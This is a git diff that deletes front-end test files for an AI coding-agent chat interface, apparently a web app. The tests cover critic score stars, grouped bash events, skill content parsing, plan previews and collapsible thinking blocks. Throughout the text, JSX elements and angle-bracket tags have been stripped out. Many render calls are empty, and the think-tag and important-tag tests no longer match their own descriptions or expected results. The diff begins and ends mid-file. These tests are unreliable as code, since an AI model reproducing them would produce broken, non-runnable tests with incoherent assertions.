null, - metadata: null, - ...overrides, -}); - -beforeEach(() => { - mockUseSettings.mockReturnValue({ - data: { - agent_settings: { - verification: { - enable_iterative_refinement: true, - }, - }, - }, - }); -}); - -describe("CriticResultDisplay", () => { - it("renders score as percentage", () => { - renderWithProviders( - , - ); - - expect(screen.getByText("(72.0%)")).toBeInTheDocument(); - }); - - it("adds an accessible score label to the star rating", () => { - renderWithProviders( - , - ); - - expect(screen.getByLabelText("Score: 72.0%")).toHaveTextContent("★★★★☆"); - }); - - it("renders non-finite scores as 0%", () => { - renderWithProviders( - , - ); - - expect(screen.getByLabelText("Score: 0.0%")).toHaveTextContent("☆☆☆☆☆"); - expect(screen.getByText("(0.0%)")).toBeInTheDocument(); - }); - - it("renders 5 stars for a perfect score", () => { - renderWithProviders( - , - ); - - expect(screen.getByText("★★★★★")).toBeInTheDocument(); - }); - - it("renders 0 stars for a zero score", () => { - renderWithProviders( - , - ); - - expect(screen.getByText("☆☆☆☆☆")).toBeInTheDocument(); - }); - - it("renders green color for high score", () => { - renderWithProviders( - , - ); - - const stars = screen.getByText("★★★★☆"); - expect(stars.className).toContain("text-green-400"); - }); - - it("renders yellow color for medium score", () => { - renderWithProviders( - , - ); - - const stars = screen.getByText("★★★☆☆"); - expect(stars.className).toContain("text-yellow-400"); - }); - - it("renders red color for low score", () => { - renderWithProviders( - , - ); - - const stars = screen.getByText("★☆☆☆☆"); - expect(stars.className).toContain("text-red-400"); - }); - - it("renders label text", () => { - renderWithProviders( - , - ); - - expect( - screen.getByText("CRITIC$SUCCESS_LIKELIHOOD_LABEL"), - ).toBeInTheDocument(); - }); - - it("does not render expand button without features", () => { - renderWithProviders( - , - ); - - expect( - screen.queryByLabelText("BUTTON$EXPAND_DETAILS"), - ).not.toBeInTheDocument(); - }); - - it("prompts users to enable iterative refinement when it is disabled", () => { - mockUseSettings.mockReturnValue({ - data: { - agent_settings: { - verification: { - enable_iterative_refinement: false, - }, - }, - }, - }); - - renderWithProviders( - , - ); - - expect( - screen.getByTestId("critic-iterative-refinement-hint"), - ).toHaveTextContent("CRITIC$ITERATIVE_REFINEMENT_HINT"); - }); - - it("does not prompt users when iterative refinement is enabled", () => { - renderWithProviders( - , - ); - - expect( - screen.queryByTestId("critic-iterative-refinement-hint"), - ).not.toBeInTheDocument(); - }); - - it("renders expand button when features are present", () => { - const result = makeCriticResult({ - metadata: { - categorized_features: { - agent_behavioral_issues: [ - { - name: "insufficient_testing", - display_name: "Insufficient Testing", - probability: 0.75, - }, - ], - }, - }, - }); - - renderWithProviders(); - - expect(screen.getByLabelText("BUTTON$EXPAND_DETAILS")).toBeInTheDocument(); - }); - - it("expands features on click", async () => { - const user = userEvent.setup(); - const result = makeCriticResult({ - metadata: { - categorized_features: { - agent_behavioral_issues: [ - { - name: "insufficient_testing", - display_name: "Insufficient Testing", - probability: 0.75, - }, - ], - }, - }, - }); - - renderWithProviders(); - - expect(screen.queryByText("Insufficient Testing")).not.toBeInTheDocument(); - - await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS")); - - expect(screen.getByText("Insufficient Testing")).toBeInTheDocument(); - expect(screen.getByText("(75%)")).toBeInTheDocument(); - expect(screen.getByText("CRITIC$POTENTIAL_ISSUES")).toBeInTheDocument(); - }); - - it("collapses features on second click", async () => { - const user = userEvent.setup(); - const result = makeCriticResult({ - metadata: { - categorized_features: { - agent_behavioral_issues: [ - { - name: "loop_behavior", - display_name: "Loop Behavior", - probability: 0.6, - }, - ], - }, - }, - }); - - renderWithProviders(); - - await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS")); - expect(screen.getByText("Loop Behavior")).toBeInTheDocument(); - - await user.click(screen.getByLabelText("BUTTON$COLLAPSE_DETAILS")); - expect(screen.queryByText("Loop Behavior")).not.toBeInTheDocument(); - }); - - it("renders multiple categories of features", async () => { - const user = userEvent.setup(); - const result = makeCriticResult({ - metadata: { - categorized_features: { - agent_behavioral_issues: [ - { - name: "incomplete_changes", - display_name: "Incomplete Changes", - probability: 0.8, - }, - ], - infrastructure_issues: [ - { - name: "build_failure", - display_name: "Build Failure", - probability: 0.4, - }, - ], - user_followup_patterns: [ - { - name: "will_ask_refinement", - display_name: "Will Ask Refinement", - probability: 0.55, - }, - ], - }, - }, - }); - - renderWithProviders(); - - await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS")); - - expect(screen.getByText("CRITIC$POTENTIAL_ISSUES")).toBeInTheDocument(); - expect(screen.getByText("Incomplete Changes")).toBeInTheDocument(); - expect(screen.getByText("CRITIC$INFRASTRUCTURE")).toBeInTheDocument(); - expect(screen.getByText("Build Failure")).toBeInTheDocument(); - expect(screen.getByText("CRITIC$LIKELY_FOLLOWUP")).toBeInTheDocument(); - expect(screen.getByText("Will Ask Refinement")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx deleted file mode 100644 index 8405642fa..000000000 --- a/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx +++ /dev/null @@ -1,231 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import { EventGroup } from "#/components/conversation-events/chat/event-message-components/event-group"; -import { - ActionEvent, - ObservationEvent, - SecurityRisk, -} from "#/types/agent-server/core"; -import { ExecuteBashAction } from "#/types/agent-server/core/base/action"; -import { ExecuteBashObservation } from "#/types/agent-server/core/base/observation"; - -const makeBashAction = ( - id: string, - command: string, -): ActionEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command, - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: `call_${id}`, - tool_call: { - id: `call_${id}`, - type: "function", - function: { - name: "execute_bash", - arguments: JSON.stringify({ command }), - }, - }, - llm_response_id: `response_${id}`, - security_risk: SecurityRisk.UNKNOWN, -}); - -const makeBashObservation = ( - id: string, - actionId: string, - command: string, -): ObservationEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - tool_name: "execute_bash", - tool_call_id: `call_${actionId}`, - action_id: actionId, - observation: { - kind: "ExecuteBashObservation", - content: [{ type: "text", text: "ok" }], - command, - exit_code: 0, - error: false, - timeout: false, - metadata: {} as never, - }, -}); - -describe("EventGroup", () => { - it("returns null for an empty events array", () => { - const { container } = renderWithProviders( - -
child
-
, - ); - - expect(container).toBeEmptyDOMElement(); - }); - - it("renders a 'completed' summary when all events are observations", () => { - const events = [ - makeBashObservation("o1", "a1", "ls"), - makeBashObservation("o2", "a2", "pwd"), - makeBashObservation("o3", "a3", "whoami"), - ]; - - renderWithProviders( - -
child content
-
, - ); - - expect( - screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"), - ).toBeInTheDocument(); - // Children should not be visible in the collapsed state. - expect(screen.queryByTestId("child")).not.toBeInTheDocument(); - }); - - it("renders a progress summary and the running action title while in flight", () => { - const events = [ - makeBashObservation("o1", "a1", "ls"), - makeBashObservation("o2", "a2", "pwd"), - // Last action has NOT been replaced by an observation -> still running. - makeBashAction("a3", "echo hello"), - ]; - - renderWithProviders( - -
child
-
, - ); - - expect( - screen.getByText("EVENT_GROUP$ACTIONS_PROGRESS"), - ).toBeInTheDocument(); - // The running action's title is rendered next to the summary. Translations - // aren't loaded in tests, so we just verify the action's translation key - // shows up (the localized version would interpolate the command). - expect(screen.getByText(/ACTION_MESSAGE\$RUN/)).toBeInTheDocument(); - }); - - it("keeps showing the latest completed action's title while the group is still the live tail", () => { - // All observations -> nothing in flight, but the group has not been - // "moved past" yet, so we expect the latest observation's title to keep - // showing as the prominent summary alongside the completed count. - const events = [ - makeBashObservation("o1", "a1", "ls"), - makeBashObservation("o2", "a2", "pwd"), - makeBashObservation("o3", "a3", "whoami"), - ]; - - renderWithProviders( - -
child
-
, - ); - - // Latest observation's title is still in the summary line. - expect(screen.getByText(/OBSERVATION_MESSAGE\$RUN/)).toBeInTheDocument(); - // ...next to the completed count. - expect( - screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"), - ).toBeInTheDocument(); - }); - - it("hides the latest action title once the group is finalized", () => { - const events = [ - makeBashObservation("o1", "a1", "ls"), - makeBashObservation("o2", "a2", "pwd"), - makeBashObservation("o3", "a3", "whoami"), - ]; - - renderWithProviders( - -
child
-
, - ); - - expect( - screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"), - ).toBeInTheDocument(); - // Once moved past, we collapse to just the count — the per-action title - // and the success check both go away. - expect( - screen.queryByText(/OBSERVATION_MESSAGE\$RUN/), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument(); - }); - - it("shows a spinner while running and no status icon when done", () => { - const running = [ - makeBashObservation("o1", "a1", "ls"), - makeBashAction("a2", "pwd"), - ]; - - const { rerender } = renderWithProviders( - -
child
-
, - ); - expect(screen.getByTestId("spinner-icon")).toBeInTheDocument(); - expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument(); - - const done = [ - makeBashObservation("o1", "a1", "ls"), - makeBashObservation("o2", "a2", "pwd"), - ]; - rerender( - -
child
-
, - ); - expect(screen.queryByTestId("spinner-icon")).not.toBeInTheDocument(); - expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument(); - }); - - it("updates accessibility state while toggling the group", async () => { - const events = [ - makeBashObservation("o1", "a1", "ls"), - makeBashObservation("o2", "a2", "pwd"), - makeBashObservation("o3", "a3", "whoami"), - ]; - const user = userEvent.setup(); - - renderWithProviders( - -
child content
-
, - ); - - const toggle = screen.getByTestId("event-group-toggle"); - expect(toggle).toHaveAttribute("aria-expanded", "false"); - expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$EXPAND"); - expect(screen.queryByRole("region")).not.toBeInTheDocument(); - expect(screen.queryByTestId("child")).not.toBeInTheDocument(); - - await user.click(toggle); - - const content = screen.getByRole("region"); - expect(toggle).toHaveAttribute("aria-expanded", "true"); - expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$COLLAPSE"); - expect(toggle).toHaveAttribute("aria-controls", content.id); - expect(content).toHaveAttribute("aria-labelledby", toggle.id); - expect(screen.getByTestId("child")).toBeInTheDocument(); - - await user.click(toggle); - - expect(toggle).toHaveAttribute("aria-expanded", "false"); - expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$EXPAND"); - expect(screen.queryByRole("region")).not.toBeInTheDocument(); - expect(screen.queryByTestId("child")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts b/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts deleted file mode 100644 index 4e3f4fed9..000000000 --- a/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts +++ /dev/null @@ -1,108 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - parseSkillContent, - styleImportantTags, -} from "#/components/conversation-events/chat/event-message-components/skill-item-expanded"; - -describe("parseSkillContent", () => { - it("should extract matchInfo from content", () => { - const content = - "The following information has been included based on keyword match\nIt may or may not be relevant\n\nActual body content"; - const result = parseSkillContent(content); - - expect(result.matchInfo).toBe( - "The following information has been included based on keyword match", - ); - expect(result.body).toBe("Actual body content"); - }); - - it("should extract filePath from content", () => { - const content = "Skill location: /path/to/skill.md\n\nBody here"; - const result = parseSkillContent(content); - - expect(result.filePath).toBe("/path/to/skill.md"); - expect(result.body).toBe("Body here"); - }); - - it("should handle content with both matchInfo and filePath", () => { - const content = - "The following information has been included based on keyword match\nIt may or may not be relevant\nSkill location: /path/to/skill.md\n(Use this path to resolve imports)\n\nBody content"; - const result = parseSkillContent(content); - - expect(result.matchInfo).toBe( - "The following information has been included based on keyword match", - ); - expect(result.filePath).toBe("/path/to/skill.md"); - expect(result.body).toBe("Body content"); - }); - - it("should handle content with no metadata", () => { - const content = "Just plain body content\nWith multiple lines"; - const result = parseSkillContent(content); - - expect(result.matchInfo).toBeNull(); - expect(result.filePath).toBeNull(); - expect(result.body).toBe("Just plain body content\nWith multiple lines"); - }); - - it("should handle empty content", () => { - const result = parseSkillContent(""); - - expect(result.matchInfo).toBeNull(); - expect(result.filePath).toBeNull(); - expect(result.body).toBe(""); - }); - - it("should skip blank lines between metadata and body", () => { - const content = "Skill location: /path/to/skill.md\n\n\nBody after blanks"; - const result = parseSkillContent(content); - - expect(result.filePath).toBe("/path/to/skill.md"); - expect(result.body).toBe("Body after blanks"); - }); -}); - -describe("styleImportantTags", () => { - it("should wrap important tag content with bold markers", () => { - const text = "Some text critical info more text"; - const result = styleImportantTags(text); - - expect(result).toBe("Some text **critical info** more text"); - }); - - it("should handle multiple important tags", () => { - const text = - "first and second"; - const result = styleImportantTags(text); - - expect(result).toBe("**first** and **second**"); - }); - - it("should handle multiline content inside important tags", () => { - const text = "line1\nline2"; - const result = styleImportantTags(text); - - expect(result).toBe("**line1\nline2**"); - }); - - it("should be case-insensitive", () => { - const text = "test"; - const result = styleImportantTags(text); - - expect(result).toBe("**test**"); - }); - - it("should return text unchanged if no important tags", () => { - const text = "No important tags here"; - const result = styleImportantTags(text); - - expect(result).toBe("No important tags here"); - }); - - it("should trim whitespace inside important tags", () => { - const text = " spaced "; - const result = styleImportantTags(text); - - expect(result).toBe("**spaced**"); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx deleted file mode 100644 index 7ab2eedfc..000000000 --- a/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx +++ /dev/null @@ -1,143 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { I18nKey } from "#/i18n/declaration"; -import { SkillReadyContentList } from "#/components/conversation-events/chat/event-message-components/skill-ready-content-list"; -import { SkillReadyItem } from "#/components/conversation-events/chat/event-content-helpers/create-skill-ready-event"; - -const makeItems = ( - ...entries: [string, string][] -): SkillReadyItem[] => - entries.map(([name, content]) => ({ name, content })); - -describe("SkillReadyContentList", () => { - it("renders all skill names", () => { - const items = makeItems(["docker", "content1"], ["gitlab", "content2"]); - - renderWithProviders(); - - expect(screen.getByText("docker")).toBeInTheDocument(); - expect(screen.getByText("gitlab")).toBeInTheDocument(); - }); - - it("renders the header label", () => { - const items = makeItems(["docker", "content"]); - - renderWithProviders(); - - expect( - screen.getByText("SKILLS$TRIGGERED_SKILL_KNOWLEDGE"), - ).toBeInTheDocument(); - }); - - it("renders a custom header label when titleKey is provided", () => { - const items = makeItems(["docker", "content"]); - - renderWithProviders( - , - ); - - expect( - screen.getByText("SKILLS$INVOKED_SKILL_KNOWLEDGE"), - ).toBeInTheDocument(); - expect( - screen.queryByText("SKILLS$TRIGGERED_SKILL_KNOWLEDGE"), - ).not.toBeInTheDocument(); - }); - - it("does not show content before clicking", () => { - const items = makeItems(["docker", "Docker usage guide"]); - - renderWithProviders(); - - expect(screen.queryByText("Docker usage guide")).not.toBeInTheDocument(); - }); - - it("expands skill content on click", async () => { - const user = userEvent.setup(); - const items = makeItems(["docker", "Docker usage guide"]); - - renderWithProviders(); - - await user.click(screen.getByText("docker")); - - expect(screen.getByText("Docker usage guide")).toBeInTheDocument(); - }); - - it("collapses skill content on second click", async () => { - const user = userEvent.setup(); - const items = makeItems(["docker", "Docker usage guide"]); - - renderWithProviders(); - - await user.click(screen.getByText("docker")); - expect(screen.getByText("Docker usage guide")).toBeInTheDocument(); - - await user.click(screen.getByText("docker")); - expect(screen.queryByText("Docker usage guide")).not.toBeInTheDocument(); - }); - - it("expands skills independently", async () => { - const user = userEvent.setup(); - const items = makeItems( - ["docker", "Docker guide"], - ["gitlab", "GitLab guide"], - ); - - renderWithProviders(); - - await user.click(screen.getByText("docker")); - - expect(screen.getByText("Docker guide")).toBeInTheDocument(); - expect(screen.queryByText("GitLab guide")).not.toBeInTheDocument(); - }); - - it("renders content as bold text", async () => { - const user = userEvent.setup(); - const content = "Some text critical info more text"; - const items = makeItems(["docker", content]); - - renderWithProviders(); - - await user.click(screen.getByText("docker")); - - // The important text should be rendered as bold (strong element) - const boldElement = screen.getByText("critical info"); - expect(boldElement).toBeInTheDocument(); - expect(boldElement.tagName).toBe("STRONG"); - }); - - it("parses and displays file path from metadata", async () => { - const user = userEvent.setup(); - const content = [ - "The following information has been included based on a keyword match for \"docker\".", - "It may or may not be relevant to the user's request.", - "Skill location: /home/openhands/.openhands/skills/docker/SKILL.md", - "(Use this path to resolve relative file references)", - "", - "Docker Usage Guide", - ].join("\n"); - const items = makeItems(["docker", content]); - - renderWithProviders(); - - await user.click(screen.getByText("docker")); - - // File path rendered in code element - expect( - screen.getByText( - "/home/openhands/.openhands/skills/docker/SKILL.md", - ), - ).toBeInTheDocument(); - // Actual skill body rendered - expect(screen.getByText("Docker Usage Guide")).toBeInTheDocument(); - // Metadata preamble lines are not rendered as-is in the body - expect( - screen.queryByText("It may or may not be relevant"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx b/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx deleted file mode 100644 index 2c6ee598d..000000000 --- a/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx +++ /dev/null @@ -1,280 +0,0 @@ -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { screen } from "@testing-library/react"; -import { EventMessage } from "#/components/conversation-events/chat/event-message"; -import { useConversationStore } from "#/stores/conversation-store"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; -import { - renderWithProviders, - createPlanningObservationEvent, -} from "test-utils"; - -// Mock useConfig -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => ({ - data: {}, - }), -})); - -// Mock useAgentState -vi.mock("#/hooks/use-agent-state"); - -// Mock PlanPreview component to verify it's rendered with correct props -// Mock useConversationId (EventMessage -> useAgentState -> useActiveConversation -> useConversationId) -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "test-conversation-id" }), -})); - -// Mock PlanPreview component to verify it's rendered -vi.mock("#/components/features/chat/plan-preview", () => ({ - PlanPreview: ({ - planContent, - isStreaming, - }: { - planContent?: string | null; - isStreaming?: boolean; - }) => ( -
- Plan Preview: {planContent || "null"} -
- ), -})); - -describe("EventMessage - PlanPreview rendering", () => { - beforeEach(() => { - vi.clearAllMocks(); - // Reset conversation store - useConversationStore.setState({ - planContent: null, - }); - // Default mock for useAgentState - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.INIT, - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should render PlanPreview when PlanningFileEditorObservation event ID is in planPreviewEventIds", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - const planContent = "This is the plan content"; - - useConversationStore.setState({ planContent }); - - renderWithProviders( - , - ); - - expect(screen.getByTestId("plan-preview")).toBeInTheDocument(); - expect( - screen.getByText(`Plan Preview: ${planContent}`), - ).toBeInTheDocument(); - }); - - it("should return null when PlanningFileEditorObservation event ID is NOT in planPreviewEventIds", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-2"]); // Different ID - - const { container } = renderWithProviders( - , - ); - - expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument(); - expect(container.firstChild).toBeNull(); - }); - - it("should return null when planPreviewEventIds is undefined", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - - const { container } = renderWithProviders( - , - ); - - expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument(); - expect(container.firstChild).toBeNull(); - }); - - it("should use planContent from conversation store", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - const planContent = "Store plan content"; - - useConversationStore.setState({ planContent }); - - renderWithProviders( - , - ); - - expect( - screen.getByText(`Plan Preview: ${planContent}`), - ).toBeInTheDocument(); - }); - - it("should handle null planContent from store", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - - useConversationStore.setState({ planContent: null }); - - renderWithProviders( - , - ); - - expect(screen.getByTestId("plan-preview")).toBeInTheDocument(); - expect(screen.getByText("Plan Preview: null")).toBeInTheDocument(); - }); - - it("should handle empty planPreviewEventIds set", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(); - - const { container } = renderWithProviders( - , - ); - - expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument(); - expect(container.firstChild).toBeNull(); - }); - - describe("isStreaming prop", () => { - it("should pass isStreaming=true when isLastMessage is true and agent state is RUNNING", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - const planContent = "Streaming plan content"; - - useConversationStore.setState({ planContent }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - renderWithProviders( - , - ); - - const planPreview = screen.getByTestId("plan-preview"); - expect(planPreview).toBeInTheDocument(); - expect(planPreview).toHaveAttribute("data-is-streaming", "true"); - }); - - it("should pass isStreaming=false when isLastMessage is false even if agent is RUNNING", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - const planContent = "Plan content"; - - useConversationStore.setState({ planContent }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - renderWithProviders( - , - ); - - const planPreview = screen.getByTestId("plan-preview"); - expect(planPreview).toBeInTheDocument(); - expect(planPreview).toHaveAttribute("data-is-streaming", "false"); - }); - - it("should pass isStreaming=false when agent state is not RUNNING even if isLastMessage is true", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - const planContent = "Completed plan content"; - - useConversationStore.setState({ planContent }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.AWAITING_USER_INPUT, - }); - - renderWithProviders( - , - ); - - const planPreview = screen.getByTestId("plan-preview"); - expect(planPreview).toBeInTheDocument(); - expect(planPreview).toHaveAttribute("data-is-streaming", "false"); - }); - - it("should pass isStreaming=false when agent state is FINISHED", () => { - const event = createPlanningObservationEvent("plan-obs-1"); - const planPreviewEventIds = new Set(["plan-obs-1"]); - const planContent = "Finished plan content"; - - useConversationStore.setState({ planContent }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.FINISHED, - }); - - renderWithProviders( - , - ); - - const planPreview = screen.getByTestId("plan-preview"); - expect(planPreview).toBeInTheDocument(); - expect(planPreview).toHaveAttribute("data-is-streaming", "false"); - }); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx b/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx deleted file mode 100644 index b1f86eaf6..000000000 --- a/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx +++ /dev/null @@ -1,255 +0,0 @@ -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { EventMessage } from "#/components/conversation-events/chat/event-message"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; -import { ActionEvent, SecurityRisk } from "#/types/agent-server/core"; -import { ThinkAction, ExecuteBashAction } from "#/types/agent-server/core/base/action"; -import { renderWithProviders } from "test-utils"; - -// Mock useConfig -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => ({ - data: {}, - }), -})); - -// Mock useAgentState -vi.mock("#/hooks/use-agent-state"); - -// Mock useConversationId -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "test-conversation-id" }), -})); - -const createThinkActionEvent = ( - id: string, - thought: string, -): ActionEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - thought: [ - { - type: "text", - text: `think: {"thought": "${thought}"}`, - }, - ], - thinking_blocks: [], - action: { - kind: "ThinkAction", - thought, - }, - tool_name: "think", - tool_call_id: `call_think_${id}`, - tool_call: { - id: `call_think_${id}`, - type: "function", - function: { - name: "think", - arguments: JSON.stringify({ thought }), - }, - }, - llm_response_id: `response_${id}`, - security_risk: SecurityRisk.UNKNOWN, -}); - -const createBashActionEvent = ( - id: string, - command: string, - thoughtText: string, - overrides?: Partial>, -): ActionEvent => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - thought: [{ type: "text", text: thoughtText }], - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command, - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: `call_bash_${id}`, - tool_call: { - id: `call_bash_${id}`, - type: "function", - function: { - name: "execute_bash", - arguments: JSON.stringify({ command }), - }, - }, - llm_response_id: `response_${id}`, - security_risk: SecurityRisk.UNKNOWN, - ...overrides, -}); - -describe("EventMessage - ThinkAction rendering", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.INIT, - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should NOT render raw tool call text for ThinkAction events", () => { - const thinkEvent = createThinkActionEvent( - "think-1", - "Let me analyze the problem", - ); - - renderWithProviders( - , - ); - - // The raw tool call text should NOT be displayed - expect( - screen.queryByText(/think: \{"thought":/), - ).not.toBeInTheDocument(); - }); - - it("should render ThinkAction as a collapsible section", () => { - const thinkEvent = createThinkActionEvent( - "think-2", - "Let me analyze the problem", - ); - - renderWithProviders( - , - ); - - // The collapsible thinking wrapper should exist - expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument(); - - // The thought content should NOT be visible initially (collapsed by default) - expect( - screen.queryByTestId("collapsible-thinking-content"), - ).not.toBeInTheDocument(); - }); - - it("should expand ThinkAction content when toggle is clicked", async () => { - const user = userEvent.setup(); - const thinkEvent = createThinkActionEvent( - "think-3", - "Let me analyze the problem", - ); - - renderWithProviders( - , - ); - - // Click the toggle to expand - await user.click(screen.getByTestId("collapsible-thinking-toggle")); - - // Now the content should be visible - expect( - screen.getByTestId("collapsible-thinking-content"), - ).toBeInTheDocument(); - expect( - screen.getByText("Let me analyze the problem"), - ).toBeInTheDocument(); - }); - - it("should render ThoughtEventMessage for non-ThinkAction events", () => { - const bashEvent = createBashActionEvent( - "bash-1", - "echo hello", - "I need to run a command", - ); - - renderWithProviders( - , - ); - - // The thought should be displayed for non-think actions - expect( - screen.getByText("I need to run a command"), - ).toBeInTheDocument(); - }); - - it("should render reasoning_content as a collapsible section", () => { - const bashEvent = createBashActionEvent( - "bash-reasoning", - "echo hello", - "Running a command", - { - reasoning_content: "I need to think carefully about this step.", - }, - ); - - renderWithProviders( - , - ); - - // The collapsible thinking wrapper should exist for reasoning_content - expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument(); - - // The reasoning content should be hidden initially - expect( - screen.queryByText("I need to think carefully about this step."), - ).not.toBeInTheDocument(); - }); - - it("should render thinking_blocks as a collapsible section", () => { - const bashEvent = createBashActionEvent( - "bash-thinking-blocks", - "echo hello", - "Running a command", - { - thinking_blocks: [ - { - type: "thinking", - thinking: "Extended thinking block content here.", - signature: "sig123", - }, - ], - }, - ); - - renderWithProviders( - , - ); - - // The collapsible thinking wrapper should exist for thinking_blocks - expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts b/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts deleted file mode 100644 index 3b5f8064d..000000000 --- a/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts +++ /dev/null @@ -1,86 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { splitInlineThink } from "#/components/conversation-events/chat/event-thought-helpers"; - -describe("splitInlineThink", () => { - it("returns content unchanged when there is no block", () => { - expect(splitInlineThink("Hello! How can I help?")).toEqual({ - reasoning: "", - message: "Hello! How can I help?", - }); - }); - - it("extracts a leading closed block and keeps the trailing message", () => { - const content = - "The user wants a greeting. Simple.\n\n\nHello!"; - expect(splitInlineThink(content)).toEqual({ - reasoning: "The user wants a greeting. Simple.", - message: "Hello!", - }); - }); - - it("handles leading whitespace before the block", () => { - expect(splitInlineThink("\n thinking\n\nHi")).toEqual({ - reasoning: "thinking", - message: "Hi", - }); - }); - - it("returns an empty message when the content is reasoning only", () => { - expect(splitInlineThink("just thinking")).toEqual({ - reasoning: "just thinking", - message: "", - }); - }); - - // Regression: an agent that literally emits "" as its finalized - // answer (no closing tag) must render verbatim, not vanish into Thinking. - it("renders a finalized unclosed leading verbatim", () => { - expect(splitInlineThink("")).toEqual({ - reasoning: "", - message: "", - }); - }); - - // Mid-stream, an unclosed leading is reasoning still arriving, so - // it is hidden until shows up. - it("treats an unclosed leading as reasoning while streaming", () => { - expect( - splitInlineThink("The user is asking me to", { streaming: true }), - ).toEqual({ reasoning: "The user is asking me to", message: "" }); - }); - - // Only the first block is peeled; a that is part of the answer - // (after ) is preserved verbatim. - it("preserves a that appears after the reasoning block", () => { - expect(splitInlineThink("reasoning\n\n")).toEqual({ - reasoning: "reasoning", - message: "", - }); - }); - - // Regression (reviewer): a that is NOT at the start must be - // preserved verbatim — only litellm's leading reasoning block is extracted. - it("leaves a mid-message reference untouched", () => { - const content = "You can wrap reasoning in and tags."; - 